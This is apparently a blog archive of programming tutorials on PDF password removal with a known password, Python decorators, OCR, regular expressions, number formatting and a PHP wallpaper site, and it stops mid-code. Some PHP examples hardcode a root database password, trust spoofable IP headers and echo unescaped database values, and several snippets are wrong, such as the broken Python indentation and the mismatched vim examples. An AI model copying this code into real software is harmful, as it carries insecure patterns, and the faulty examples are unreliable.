The calendar generation logic continues within the while loop in the function int debut(unsigned long int a, int m). This function calculates the starting day of month "m" of year "a" while storing the January 1st of year "a" in the function correction(unsigned long int a, int b). The correction function memorizes the year "a" and the index "b" of the day of the week for the beginning of its January.

The iterative nature of the code ensures accurate calculation of days and months, taking into account leap years and variations in the number of days in each month. The nb_jours function is used to determine the number of days in a given month, considering leap years.

<section>
    <h2>How to Use the Code</h2>
    <p>
        To use this calendar generation code, follow these steps:
    </p>
    <ol>
        <li>Compile the C program.</li>
        <li>Run the executable and input the desired year when prompted.</li>
        <li>Open the generated HTML file to view the calendar for the specified year.</li>
    </ol>
</section>

Calendar of the year 105 generated by this C program

Customization and Further Development

The provided C program is a starting point that you can customize and expand upon. Consider incorporating modern HTML and CSS techniques to enhance the visual presentation of the calendar. Additionally, explore how you can adapt the core logic for different use cases or integrate it into other projects.

Conclusion

In conclusion, exploring old C programs like this one can be a valuable learning experience. The principles demonstrated in this calendar generator can be applied and adapted to various programming languages. Feel free to experiment, modify, and build upon this foundation to create your own calendar generation projects.

Unlock PDFs: A Professional Python Guide for Password Removal

2024-01-15T18:32:58+00:00

Unlocking password-protected PDFs may seem like a daunting task, but fear not—we're about to navigate this challenge with the precision of a seasoned professional. In this tutorial, we'll employ a Python script to gracefully remove password protection from PDFs. Buckle up for a journey through virtual environments, package installations, and the creation of a streamlined shell script.

Step 1: Crafting Your Virtual Workspace

Begin by establishing a controlled environment for our operations. Open your terminal and execute the following commands:

    

python3 -m venv ~/bin/venv
source "${HOME}/bin/venv/bin/activate"

This sets the stage for a confined space where our operations won't interfere with other spells in your magical repertoire.

Step 2: Acquiring the Necessary Components

Every professional wizard needs the right tools. In our case, it's the PyMuPDF package. Install it with the following command:

    

pip install PyMuPDF

This package equips us with the necessary spells to manipulate PDFs seamlessly.

Step 3: The Python Script: pdf_remove_pass.py

Now, let's delve into the core of our magic—the Python script. Create a file named pdf_remove_pass.py and insert the following code:

    

import os
import sys
import fitz

def remove_password(input_pdf, output_pdf, password):
    try:
        doc = fitz.open(input_pdf)
        doc.authenticate(password)
        doc.save(output_pdf)
        doc.close()

        print(f"Password removed successfully. Output saved to {output_pdf}")

    except Exception as e:
        print(f"Error: {e}")

filename = sys.argv[1]
passw = sys.argv[2]
remove_password(filename, "output.pdf", passw)

This script encapsulates the essence of our professional endeavor to liberate PDFs.

Step 4: Streamlining with a Shell Script: unlock.sh

Professionals appreciate efficiency. Create a shell script named unlock.sh for a more streamlined process:

    

#!/bin/bash
source "${HOME}/bin/venv/bin/activate"
python "${HOME}/bin/pdf_remove_pass.py" "$1" "$2"

Step 5: Aliasing for Convenience

To further enhance efficiency, create an alias for the shell script by adding the following line to your ~/.bashrc or ~/.zshrc:

    

alias unlockpdf="${HOME}/bin/unlock.sh"

Now, unlocking PDFs becomes as simple as issuing the command:

    

unlockpdf secret.pdf mysecretpassword

In conclusion, armed with your virtual enclave, Python prowess, and a streamlined shell script, you're well-equipped to tackle PDF password protection with the finesse of a seasoned professional. Happy unlocking!

Applying Python Decorators to Real-World Scenarios

2023-03-29T19:55:56+00:00

In Python, functions are first-class objects, which means that they can be passed around like any other variable. Decorators use this feature to modify the behavior of functions or classes at runtime.

In essence, a decorator is a callable (i.e., a function or class) that takes another function or class as an argument and returns a modified version of that function or class. The original function or class is not changed in any way.

Here's an example of a simple decorator:

   

def my_decorator(func):
    def wrapper():
        print("Before function is called.")
        func()
        print("After function is called.")
    return wrapper

@my_decorator
def say_hello():
    print("Hello!")

say_hello()

   

Before function is called.
Hello!
After function is called.

In this example, my_decorator is a decorator function that takes another function func as an argument. It defines a new function wrapper that adds some behavior before and after the original function func is called. Finally, it returns the wrapper function.

The @my_decorator syntax is a shorthand for calling the my_decorator function with say_hello as an argument and reassigning say_hello to the returned function. This is equivalent to:

   

def say_hello():
    print("Hello!")

say_hello = my_decorator(say_hello)

and here is a real life usage example of the decorators in a Flask application:

   

from functools import wraps

def requires_access_level(access_level,name=None):
    def decorator(f):
        @wraps(f)
        def decorated_function(*args, **kwargs):
            if not current_user.is_authenticated:
                return redirect(url_for('users.login',next=request.full_path))
            elif not current_user.owns(*args, **kwargs,name=name) and not current_user.can(access_level):
                abort(403)
            return f(*args, **kwargs)
        return decorated_function
    return decorator

The above code creates a decorator named requires_access_level which takes two arguments, the access_level and a name, the name represents the object to be accessed or modified. the decorator will wrap the function "f" passed to it as argument and return it as decorated_function. the @wraps(f) decorator is used to preserve the metadata of the original function f, such as its name and docstring, so that it is not overwritten by the metadata of the wrapper function.

The @wraps decorator from the Python built-in module functools is used to modify the behavior of a function or a method in a way that preserves the original function's metadata, such as its name, docstring, and signature. It is typically used in decorators to ensure that the wrapper function created by the decorator has the same metadata as the original function, making it easier to debug and introspect. The @wraps decorator takes a function as an argument and returns a new function that wraps the original function, preserving its metadata. It is a useful tool for creating decorators that modify the behavior of functions without losing important information about the original function.

The purpose of this decorator is to check if the current user has the required access level to access the decorated function. It does this by checking if the current user is authenticated, and if so, whether they have the required access level or they own a specific resource based on the *args and **kwargs passed to the decorated function. If the user does not have the required access level, the decorator raises a 403 Forbidden error.

The access_level parameter is used to specify the required access level for the decorated function. The name parameter is an optional parameter that can be used to specify the name of the resource that the user should own to access the decorated function. The name parameter is passed to the current_user.owns() method to check ownership

To use this decorator, you can apply it to a function that requires a certain access level like this:

   

@requires_access_level('admin', name='post')
def delete_post(post_id):
    # delete the post with the given post_id

In this example, the delete_post function can only be accessed by authenticated users who have the admin access level or own the post resource with the given post_id

How to extract text from images using Python?

2023-03-18T22:05:53+00:00

As someone who loves programming and technology, I find the concept of extracting text from images incredibly fascinating. Whether it's scanning a document or recognizing text from an image, the potential applications are limitless. One of the most widely used libraries for this purpose is Pytesseract, an open-source tool for optical character recognition (OCR) that extracts text from images.

Have you ever watched a programming video tutorial on youtube and you just wished if you could copy the code right from the video. well I do it all the time, I take a screenshot of the video and extract the text from it using Pytesseract

I was amazed the first time I used Pytesseract. With just a few lines of code, I could extract text from an image that was previously unreadable. Pytesseract is an open-source library that enables optical character recognition (OCR), extracting text from images.

Before you get started with Pytesseract, install it with the command

   

pip install pytesseract

Also, make sure to install PIL by running:

   

pip install pillow

of course the Pytesseract module calls a subprocess of tesseract program that should be installed in your system.

in my Arch linux system I installed it using

   

sudo pacman -S tesseract-data

It shouldn't be any different in other distributions

To extract text from an image using Pytesseract, load the image using the PIL module and pass it to Pytesseract's image_to_string() method. This method will process the image and return the extracted text as a string.

   

import pytesseract
from PIL import Image

#Load the image
image = Image.open('example.png')

#Extract text from the image
text = pytesseract.image_to_string(image)

#Print the extracted text
print(text)

It's that straightforward! There are also optional parameters you can use to improve the accuracy of text extraction. For instance, you can specify the language of the text using the lang parameter, pass it like: lang="eng", or lang="fra" for French . Pytesseract defaults to English, but it supports many other languages too.

It's important to note that Pytesseract is not perfect. Its accuracy depends on the image quality and complexity of the text. Therefore, if you're dealing with low-quality images or complex fonts, you may need to experiment with different configurations to achieve the best results.

In summary, Pytesseract is a robust tool for extracting text from images. It's simple to use and can be a game-changer for automating text extraction tasks. However, keep in mind its limitations and experiment with different configurations to achieve the best results. Happy coding!

How To Convert PDF documents to images using python

2023-03-05T20:15:27+00:00

Introduction to PyMuPDF's fitz module

In this article I will show you how I use the fitz module from the PyMuPDF library to extract the first page from a PDF file as a PNG image file. fitz is a Python wrapper for the MuPDF library, which is a lightweight PDF and XPS viewer and toolkit. The fitz module provides a high-level interface for working with PDF documents, including reading, editing, and creating PDF files.

Here are some of the features provided by the fitz module:

Reading PDF files

You can use fitz.open() to open a PDF file and retrieve a Document object, which provides access to the pages of the PDF document.

Working with pages

You can use methods of the Page object, such as get_text() and get_image() to extract text and images from a PDF page, or insert_image() and insert_text() to add new elements to the page.

Creating PDF files

You can use the fitz.open() function with the 'pdf' argument to create a new PDF document, and then use the Document object to add pages and elements to the document.

Manipulating PDF files

You can use methods of the Document object, such as delete_page() and insert_page() to remove or add pages to a PDF document, or save() and close() to save the document to a file.

In my case I only needed a way to "convert" the first page to a png image file, sort of like a screenshot

Here is the script:

    

import sys
import os
import fitz   #from pymupdf

pdf_path = sys.argv[1]
doc = fitz.open(pdf_path)
page = doc.load_page(0)   # 0 based page indexing 0 is the first page of the pdf document
width, height = page.bound()[2], page.bound()[3]
dpi = 300
pix = page.get_pixmap(matrix=fitz.Matrix(dpi/72, dpi/72))
pix.set_dpi(dpi, dpi)
image_bytes = pix.tobytes()

# Save image file
with open(f"{pdf_path}.png", 'wb') as f:
    f.write(image_bytes)

doc.close()

And I call the python script from a bash script because I did not want to install fitz globally in my machine but I have it installed in a local virtual envirement

The bash script activates a local virtual environment and runs the Python script. This is necessary because the fitz module used in the Python script needs to be installed in a virtual environment. A virtual environment is used to create isolated Python environments, allowing you to install packages and dependencies specific to a project without affecting the global Python installation on your machine. By using a virtual environment, you can avoid package conflicts and ensure that your Python script runs correctly with the necessary dependencies. The bash script demonstrates how to activate a local virtual environment and run the Python script within it, ensuring that the fitz module is available to the script.

The bash script

    

#!/bin/bash
source "${HOME}/path/to/myapp/venv/bin/activate"
python "${HOME}/bin/pdf2png.py" "$1"

And that's it. now you have a script to extract your pdf pages as images. you can add features to the script for example to extract a specific page or iterate over all of them.

Advanced Regular Expressions in sed, grep and vim

2023-02-18T19:59:34+00:00

Regular expressions are a powerful tool for searching and manipulating text. They allow you to create complex search patterns that can match specific combinations of characters, words, and patterns. Advanced regular expressions build upon the basic syntax to provide even more sophisticated search and replacement capabilities. In this article, we will explore some advanced regular expressions techniques and their applications.

Lookahead and Lookbehind Assertions:

These are special types of zero-width assertions that allow you to match patterns only if they are preceded or followed by specific patterns. For example, the regular expression (?<=\d{3})\d{4} will match four digits only if they are preceded by three digits. Lookahead and lookbehind assertions are useful for matching patterns in specific contexts.

Backreferences:

A backreference allows you to reference a previously matched group in your regular expression. For example, the regular expression (\w+)\s+\1 will match any word followed by whitespace, followed by the same word. Backreferences are useful for matching repeated patterns.

Conditional Statements:

Conditional statements allow you to match patterns based on certain conditions. For example, the regular expression (?(?=regex)then|else) will match "then" if the pattern "regex" matches, otherwise it will match "else". Conditional statements are useful for creating complex search and replace patterns.

Non-Capturing Groups:

A non-capturing group allows you to group together parts of your regular expression without capturing them. This is useful when you want to apply a quantifier to a group without capturing the group itself. For example, the regular expression (?:abc)+ will match "abc" one or more times, without capturing the group "abc".

Atomic Groups:

An atomic group is a type of non-capturing group that prevents backtracking. This means that once the group has been matched, it cannot be reconsidered during the matching process. Atomic groups are useful when you want to prevent catastrophic backtracking.

Grep: Using lookarounds

The following example shows how to find all occurrences of the word "foo" that are not immediately followed by the word "bar":

    

grep -P 'foo(?!\s+bar)' file.txt

The -P option enables Perl-style regular expressions, including lookarounds.

grep: Using backreferences

The following example shows how to find all lines that contain a repeated word:

    

grep -P '\b(\w+)\b.*\b\1\b' file.txt

The \b(\w+)\b pattern matches a word and captures it in group 1. The .* pattern matches any characters in between. Finally, the \b\1\b pattern matches the same word again, using a backreference to the first group.

Sed: Using capture groups in replacements

The following example shows how to replace all occurrences of "foo bar" with "bar foo":

    

sed -E 's/(foo) (bar)/\2 \1/g' file.txt

The (foo) and (bar) patterns capture the two words in separate groups, which are then referenced in the replacement string as \2 \1.

sed: Using conditional expressions

The following example shows how to remove all lines that contain the word "foo" but not the word "bar":

    

sed -E '/foo/ { /bar/! d }' file.txt

The /foo/ pattern matches lines that contain the word "foo". The { /bar/! d } expression is only executed for lines that match the previous pattern, and it deletes the line (d) if it does not contain the word "bar".

Vim: Using lookaheads

The following example shows how to find all occurrences of the word "foo" that are immediately followed by a comma:

    

:%s/foo\@=,//g

The foo\@=, pattern matches "foo" followed by a comma, using a positive lookahead (\@=).

A positive lookahead is a type of assertion in regular expressions that allows you to match a pattern only if it is followed by another pattern. It is written as (?=pattern) where "pattern" is the pattern that should come after the current pattern being matched.
For example, if you have the string "I love cats and dogs", and you want to match only the word "cats" if it is followed by the word "and", you could use the positive lookahead assertion like this: cats(?= and)
In this case, the regular expression will match the word "cats" only if it is followed by the string " and", but the " and" will not be included in the match.
Positive lookaheads can be useful when you want to match a pattern only if it appears in a certain context, without actually including that context in the match. They are supported in many regular expression engines, including those used in programming languages like Perl, Python, and JavaScript.

vim: Using non-capturing groups

In Vim, you can use non-capturing groups by using the \%(...\) syntax. Here's an example:
Suppose you have a text file with a list of names in the format "Last Name, First Name". You want to reverse the order of the names and format them as "First Name Last Name". You can use a non-capturing group to match the comma and the space after the comma without capturing them, and then use a backreference to swap the order of the names. Here's how you can do it in Vim:

    

:%s/\(\w\+\), \(\w\+\)/\2 \1/g

In this example, we're using capturing groups to match the last name and the first name, but we're using a non-capturing group to match the comma and the space after the comma. We're using \%(...\) to create the non-capturing group, and we're using  to create the capturing groups.
The replacement string \2 \1 swaps the order of the names, putting the first name first and the last name last.
Here's an example of what the text file might look like before and after applying the Vim command:

Before:

    

Smith, John
Doe, Jane
Jones, Tom

After:

    

John Smith
Jane Doe
Tom Jones

In summary, regular expressions are a powerful tool for searching and manipulating text. By mastering advanced regular expression techniques, you can greatly enhance your productivity when working with text files, whether you're using command-line tools like grep, sed, and awk, or text editors like vim and emacs.

Advanced regular expressions are a powerful tool for manipulating text, but they can also be complex and difficult to read. It is important to use them judiciously and to test them thoroughly before applying them to large datasets. With a little practice, however, you can use advanced regular expressions to automate complex text manipulation tasks and save time and effort in your work.

1K, 1.234M Human readable formatted numbers in PHP, Python, C and C++

2022-10-01T11:58:56+00:00

1K, 1.25M Human Readable, formatted numbers in PHP, Python, C and C++

We take the value of our number and we keep dividing it by 1000, each time we increase the magnitude by 1. we consider the number as powers of 1000

1,000 a magnitude of 1 -> k

1,000,000 a magnitude of 2 -> M and so forth

and finaly we print the number divided by the 1000 to the power of the magnitude, think of it as a scientifc format of the number

Python

    

def human_format(value):
    if value<1000:
    return value
    num = value
    magnitude = 0
    while abs(num) >= 1000:
    magnitude += 1
    num /= 1000.0
    result = round(value / (1000**magnitude),3)
    return f"{result}{' KMBT'[magnitude]}"

PHP

    

function human_format($n, $point='.', $sep=',') {
    if ($n < 0) {
        return 0;
    }
    if ($n < 10000) {
        return number_format($n, 0, $point, $sep);
    }
    $d = $n < 1000000 ? 1000 : 1000000;
    $f = round($n / $d, 1);
    return number_format($f, $f - intval($f) ? 1 : 0, $point, $sep) . ($d == 1000 ? 'k' : 'M');
}

C

    

// compile with gcc -lm
#include <stdio.h>
#include <math.h>

const char symbols[] = {' ','K','M','T'};
void human_format(int n, char* human_number){
    int magnitude = 0 ,tmp = n;
    while (tmp > 1000){
     magnitude++;
     tmp /= 1000;
    }
    sprintf(human_number,"%.3f%c", (double) n / pow(1000.0,magnitude),symbols[magnitude]);
}

int main() {
    char n[7];
    human_format(1234,n);
    printf("%s",n); // 1.234K
    return 0;
}

C++

    

#include <iostream>
#include <cmath>
#include <string>
#include <sstream>
#include <iomanip>

const char symbols[] = {' ','K','M','T'};
std::string human_number(int n){
    int magnitude = 0;
    double tmp = n;
    std::ostringstream ss;
    while ( tmp > 1000 ){
        magnitude++;
        tmp /= 1000;
    }
    ss  << std::fixed
        << std::setprecision(3)
        << n / pow(1000.0,magnitude)
        << symbols[magnitude];
    return ss.str();
}
int main() {
    std::cout<< human_number(1234);
    return 0;
}

Creating A Real Website with PHP object oriented - part 7 - a search input and autocomplete

2020-09-07T22:32:08+00:00

in this 7th part of this tutorial series about PHP object oriented programming, we will add a very important part of any website, an input field to search the website, in this particular website the input search field will help us search the wallpapers and we will add an autocomplete component using jquery-ui

Viewing one wallpaper:

First we add these 3 lines of code to allow us to be able to view a single wallpaper as we have mentiend in the previews articles , the one() method from our ViewWallpapers class will be like this:



protected function one(){
    $w = $this->db->one($this->id);
    echo '<div class="row">';
    echo '<img style="max-width:100%;height:auto;" src="/images/Wallpapers/'.$w["url"].'" >';
    echo '</div>';
}

We will create another method to handle viewing the items, this method will be called once in the all() method and once again in the search() method. I should note that I changed the css class "row" to "wrow" so that it dose not interfere with the bootstrap class "row" so change it in the css code from the previous article



private function __viewitems($items){
    echo '<div class="wrow">';
    foreach ($items as $item) {
        echo '<div class="item">';
        echo '    <a href="/Wallpapers/Full/'.$item["id"].'" >';
        echo '        <img src="/images/Thumbnails/'.$item["url"].'" >';
        echo '        <div class="content">';
        echo '            <p>'.$item["x"].'x'.$item["y"].'</p>';
        echo '        </Div>';
        echo '    </a>';
        echo '</div>';
    }
    echo '</div>';
}

Now the one() and search() methods in our ViewWallpapers class will be like:



protected function all(){
    $items = $this->db->all($this->first,$this->perPage);
    $this->__viewitems($items);
}
protected function search(){
    $items = $this->db->search($this->searchquery,$this->first,$this->perPage);
    $this->__viewitems($items);
}

Getting Bootstrap, jquery and jquery-ui:

First we get the bootstrap css and js files from https://www.bootstrapcdn.com/. At the time of writing this article it was on version v4.5.2 and the files were the following :



<-- jQuery cdn : -->

<script
      src="https://code.jquery.com/jquery-3.5.1.min.js"
      integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
      crossorigin="anonymous"></script>

<-- bootstrap cdn : -->
<link rel="stylesheet"
      href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"
      integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z"
      crossorigin="anonymous">
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"
       integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/KUEfYiJOMMV+rV"
       crossorigin="anonymous"></script>

In order to use the autocomplete, we need to download this jquery-ui zip file , extract it and use the minified versions in both jquery-ui.min.js and jquery-ui.min.css files. add them to our website project folders and include them in the index.php file.

Creating the input search element:



<div class="globalsearch">
    <input class="form-control" type="text" placeholder="search wallpapers" >
    <div id="tagsuggestions"></div>
</div>

The javascript autocomplete code:



$(document).ready(function() {
    $( ".globalsearch" ).on('click','input',function() {
    $(this).autocomplete({
      appendTo: "#tagsuggestions",
      source: function( request, response ) {
        $.ajax( {
          type: "POST",
          url: "/sources/includes/autcomplete.inc.php",
          dataType: "json",
          data: {
        term: request.term
          },
          success: function( data ) {
        response( data );
          },
          error: function(xhr){
          alert(xhr.responseText);
          }
        } );
      },
      minLength: 3,
      select: function( event, ui ) {
          window.location.href = "/Wallpapers/" + encodeURIComponent(ui.item.value).replace('%20','+') + "/1" ;
      }
    } );
    } );
});

The javascript code above is triggered when we click on an input child of the container with class "globalsearch" that we created with the 4 html lines above. it then performs an ajax request with the method "POST" to a php file that we called autocomplete.inc.php. when the data is received from this php file, and upon a selection by the user. the webpage is redirected to a URL with the selected value. of course our website is prepared to handle that search value and serve the Wallpapers in question.

The autcomplete.inc.php file:



<?php
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "../../sources/classes/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    return false;
}

$w = new Wallpapers();
$tags = $w->autocomplete($_POST["term"]);
$data = array();
foreach ($tags as $t) {
    $data[] = $t['tagname'];
}
echo json_encode($data);
?>

The first function is an autoloader for our classes. the second part is a call to autocomplete() method from our Wallpapers class. then we format the recieved data from the database in order to convert it to json data for the jquery-ui script. and this method is:



public function autocomplete($tag){
    $query = "select tagname from $this->tagtable where tagname like :t or text like :t limit 50";
    $sql = $this->pdo->prepare($query);
    $sql->bindValue(':t',(string) "%$tag%",PDO::PARAM_STR);
    $sql->execute();
    return $sql->fetchAll();
}

Finally the css for our input and jquery-ui elements:



.globalsearch {
  justify-content: center;
  vertical-align: middle;
  width:70%;
  margin:  0 auto;
  margin-bottom: 5px;
}

.globalsearch input {
    width: 100%;
    height: 40px;
    background:#205041;
    padding-left: 20px;
    border:1px solid white;
    border-radius: 25px;
    font-size: 1.2em;
}

#tagsuggestions {
    position: relative;
}

.ui-autocomplete {
    position: absolute;
    max-width: 100%;
    max-height: 200px;
    overflow-y: scroll;
    overflow-x: hidden;
    text-align: left;
}

.ui-autocomplete a {
    font-size: 14px;
    padding-left: 7px;
}

The following video shows all this in details:

Creating A Real Website Using PHP Object Oriented - part 6 - HTML and masonry image gallery

2020-09-03T19:06:20+00:00

At this point we will start adding some HTML code to our website. and our website will start looking beautiful little by little as we add more features to it

First I did some research in the internet for some templates of image galleries using CSS and bootstrap. At the end I chose one. I copied the CSS from their website here and added some minor changes to it and saved it to "css/style.css" . and here it is :

CSS for Bootstrap masonry grid layout:



*,
*:before,
*:after {
    box-sizing: border-box;
}

body {
    background-color:#062D31;
}

h1 {
    width:100%;
    background:#143A3D;
    color:#7DE186;
    padding:20px;
    text-align:center;
    letter-spacing:5px;
    text-transform:uppercase;
    font-family:Raleway;
    text-shadow:0 0 4px #7DE186;
    box-shadow:0 0 25px 0 rgba(0,0,0,0.25);
    border-radius:2px;
}

.container {
    max-width:90%;
    margin:3rem auto;
}


.row {
    column-width: 15em;
    -moz-column-width: 15em;
    -webkit-column-width: 15em;
    column-gap: 1rem;
    -moz-column-gap: 1rem;
    -webkit-column-gap: 1rem;
}

.item {
    display: inline-block;
    width: 100%;
    text-align:center;
    margin:0.5rem auto;
    position:relative;
    background:#2E5F61;
    padding:6px;
    border:1px solid #2E5F61;
    border-radius:2px;
    transition: 0.3s ease;
    font-size: 0;
}

.item img {
    max-width:100%;
}

.content {
    position:absolute;
    height:0;
    width:0;
    top:10%;
    left:50%;
    transform:translate(-50%,-50%);
    background:rgba(0,0,0,0.65);
    z-index:1;
    display:flex;
    justify-content:center;
    flex-direction:column;
    height:10%;
    width:100%;
    transition: 0.3s ease-in-out;
    opacity:0;
    border:1px solid black;
}

.content p {
    opacity:0;
    transition-delay:1s;
    transition:0.3s ease;
    font-size:20px;
}

.item:hover {
    box-shadow:0 10px 15px 0 rgba(0,0,0,0.25);
}

.item:hover .content {
    /*
    height:calc(100% - 30px);
    */
    width:calc(100% - 30px);
    opacity:1;
}

.item:hover .content p {
    opacity:1;
    color:#fff;
}

Now we will add the html code to our index.php file that will look like this :



<!doctype html>
<?php
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "sources/classes/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    $fname = "sources/views/$classname.class.php";
    if(file_exists($fname)){
    include_once $fname;
    return true;
    }
    return false;
}

$d = new ViewWallpapers();
?>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <link rel="stylesheet" href="/css/style.css">
        <title></title>
    </head>
    <body>
        <div class="container">
            <h1>Gallery</h1>
            <?php $d->view(); ?>
        </div>
    </body>
</html>

in the small portion of the html code above we call the view() methode from our ViewWallpapers class inside a div container element and this methode will carry on the viewing of all the items so we will change that methode in our class, it will look like this :



protected function all(){
    $items = $this->db->all($this->first,$this->perPage);
    echo '<div class="row">';
    foreach ($items as $item) {
        echo '<div class="item">';
        echo '    <a href="/Wallpapers/Full/'.$item["id"].'" >';
        echo '        <img src="/images/Wallpapers/'.$item["url"].'" >';
        echo '        <div class="content">';
        echo '            <p>'.$item["x"].'x'.$item["y"].'</p>';
        echo '        </Div>';
        echo '    </a>';
        echo '</div>';
    }
    echo '</div>';
}

As you can see the methode now fetches the items from the database, creates an HTML div container of class "row" and then for each element , it creates an HTML div container of class "item" these classes are styled in our CSS Stylecheet above. Like A puzzle everything we built so far will fall into place: the anchor a will create a link leading to the URL "/Wallpapers/Full/$itemid" to which our website will respond by executing the one() method from our ViewWallpapers class.

One small detail remains , we need to add these two lines to the __construct() method of our class, to actually hanlde the paging. if the url in the address bar contains /1 we decrement it by 1 to become 0 ; then mutiply it by 24 :which means we are getting 24 rows starting from 0 (ie the 1st page), if the adress bar contains /2 we de the same , we decrease it to 1 and multiply by 24 and so the starting row of the fetch method is 24 (ie the 2nd page ) and so one :



if($this->first>0)$this->first--;
$this->first *= $this->perPage;

Finaly our website image gallery will look like this:

As usual : the video tutorial:

PHP And MySQL Tricks - How to increment article or image views

2020-09-02T11:28:15+00:00

We will use the MySQL function TIMESTAMPDIFF, the process is simple enough : we check the difference between the last time a user identified by its IP adress viewed our page and the current time, if the said difference is greater than a defined value, we increment the view.

the TIMESTAMPDIFF function:

The MySQL TIMESTAMPDIFF() returns a value after subtracting a datetime expression from another.
It is not necessary that both the expression are of the same type. One may be a date and another is datetime. A date value is treated as a datetime with a default time part '00:00:00'. The unit for the result is given by another argument.
The unit should be one of the following : FRAC_SECOND (microseconds), SECOND, MINUTE, HOUR, DAY, WEEK, MONTH, QUARTER, or YEAR.
The syntax is :



TIMESTAMPDIFF(unit,datetime_expr1,datetime_expr2);

argument	Description
datetime_expr1	A datetime expression.
datetime_expr2	A datetime expression.
unit	An unit, as described above.

Getting the user ip adress

We need to have a way to identify our visitors in order to count our page views, and the best way to do it is by saving the ip adresses of our visitors. the following PHP function will allow us to do so:



function getUserIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } else {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

Incrementing the views

consider the following elements to understand this tutorial:
our database consists of the following two tables :

articletable(id,views)
viewstable(articleid,vieweripadress,viewdate)

Here is what we are going to do :

1 - we will try to insert a new record of (articleid,vieweripadress) into our viewstable, if the insert query succeeds then it is a new record, we create a boolean variable $newrecord = true and it will help us decide whether we will increment the views or not.
2 - we will make a query to get the difference in hours between the last view by our user and the current time. we simply select a $increment value of "yes" or "no" depending on the time difference.
3 - if either $newrecord is true or $increment is "yes" we will update the viewdate and incement the views

Inserting a new record:



// for this code to work you need to have the pdo error mode set to exception
// with this:
// $pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
// the $id is the article id
// I assume that the viewdate default value is set to CURRENT_TIMESTAMP() when we created
// our tables.

$ip = getUserIP();
$query = " INSERT INTO viewstable (articleid,vieweripadress) VALUES (?,?) ";
try{
    $sql = $pdo->prepare($query);
    $sql->execute([$id,$ip]);
    $newrecord = 1 ;
} catch(PDOException $e) {
    $newrecord = 0 ;
}

At this point, either we inserted a new record for a new visitor and $newrecord is true, or the visitor is new and a record has already been inserted before and $newrecord is false.
Now we compare the record( old or new) to the current datetime :



$query = " SELECT IF(TIMESTAMPDIFF(HOUR,`viewdate`,CURRENT_TIMESTAMP())> 4  ,'yes','no') as status
           FROM viewstable WHERE articleid = ? AND vieweripadress = ? ";
$sql = $this->dbh->prepare($query);
$sql->execute([$id,$ip]);
$increment = $sql->fetch()["status"];

Finally, we check if we can update the viewdate and increment the views:



if ( $increment == "yes" || $newrecord == 1 ) {
    $query="update articletable set views = views + 1 where id= ? ";
    $sql = $this->dbh->prepare($query);
    $sql->execute([$id]);
    $query=" update viewstable set viewdate = CURRENT_TIMESTAMP()
             where articleid= ? and vieweripadress = ? ";
    $sql = $this->dbh->prepare($query);
    $sql->execute([$id,$ip]);
}

How To make a tag cloud using PHP and CSS

2020-08-31T20:05:56+00:00

A Tag cloud is a section of your website that shows a cluster of words that are different in size according to how many times they appear in your website. for example if the words are wallpapers tags, then they would show the most tagged wallpapers in your database and this is the example I am going to use in this article.
My "Wallpapers" Database consists of 3 tables:

    wallpaperstable (id,url,resolution,x,y,views,dateadded)
    tagstable(id,tagname,tagtext)
    wallpaperstags(id,tagid)

The only tables that consern us in this article are tagstable and wallpaperstags . As you might have guessed it, the second table represents a wallpaper-id, tag-id combination. A wallpaper can have multiple different tags. it is a one to many relationship. we will count how many times a tagid is repeated by joining them and grouping the colmuns by the tagid and counting them with count(tagid) with the following sql query:



SELECT tagname , count(tagid) as weight from wallpaperstags t1
JOIN tagstable t2 on t1.tagid = t2.id
group by tagid  order by weight desc limit :limit

The number of times a tagid is repeated in wallpaperstags will be the weight of the tag and later will be used to decide its font-size in the cloud we are creating.

Here is the full code for the tag cloud:



<!doctype html>
<?php

$host = "localhost";
$user = "root";
$password = "1313";

$pdo = new PDO("mysql:host=$host", $user, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,PDO::FETCH_ASSOC);
$pdo->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);

$pdo->query("use Wallpapers");

$limit = 30;
$query = "  SELECT tagname , count(tagid) as weight from wallpaperstags t1
    JOIN tagstable t2 on t1.tagid = t2.id
    group by tagid  order by weight desc limit :limit";
$sql = $pdo->prepare($query);
$sql->bindValue(':limit', (int) $limit, PDO::PARAM_INT);
$sql->execute();
$tags = $sql->fetchAll();

$keys = array_keys($tags);
shuffle($keys);
foreach($keys as $key){
    $new[$key] = $tags[$key];
}
$tags = $new;



?>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <link rel="stylesheet"
              href="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/css/bootstrap.min.css"
              integrity="sha384-GJzZqFGwb1QTTN6wy59ffF1BuGJpLSa9DkKMp0DgiMDm4iYMj70gZWKYbI706tWS"
              crossorigin="anonymous">
        <title></title>

        <style>
                .cloud-div {
                        width:50%;
                        justify-content:center;
                        text-align:center;
                }
                .cloud-tag {
                    padding: 0;
                    padding-right: 5px;
                    vertical-align:center;
                    white-space: nowrap;
                }
        </style>
    </head>
    <body>
        <div class="container-fluid">
<?php
$starting_font_size = 10;
$factor = 0.4;
echo '<div class="cloud-div">';
foreach ($tags as $t) {
    $x = round( $t["weight"]/100) * $factor;
    $font_size = $starting_font_size + $x.'px';
    echo '<a href="#">
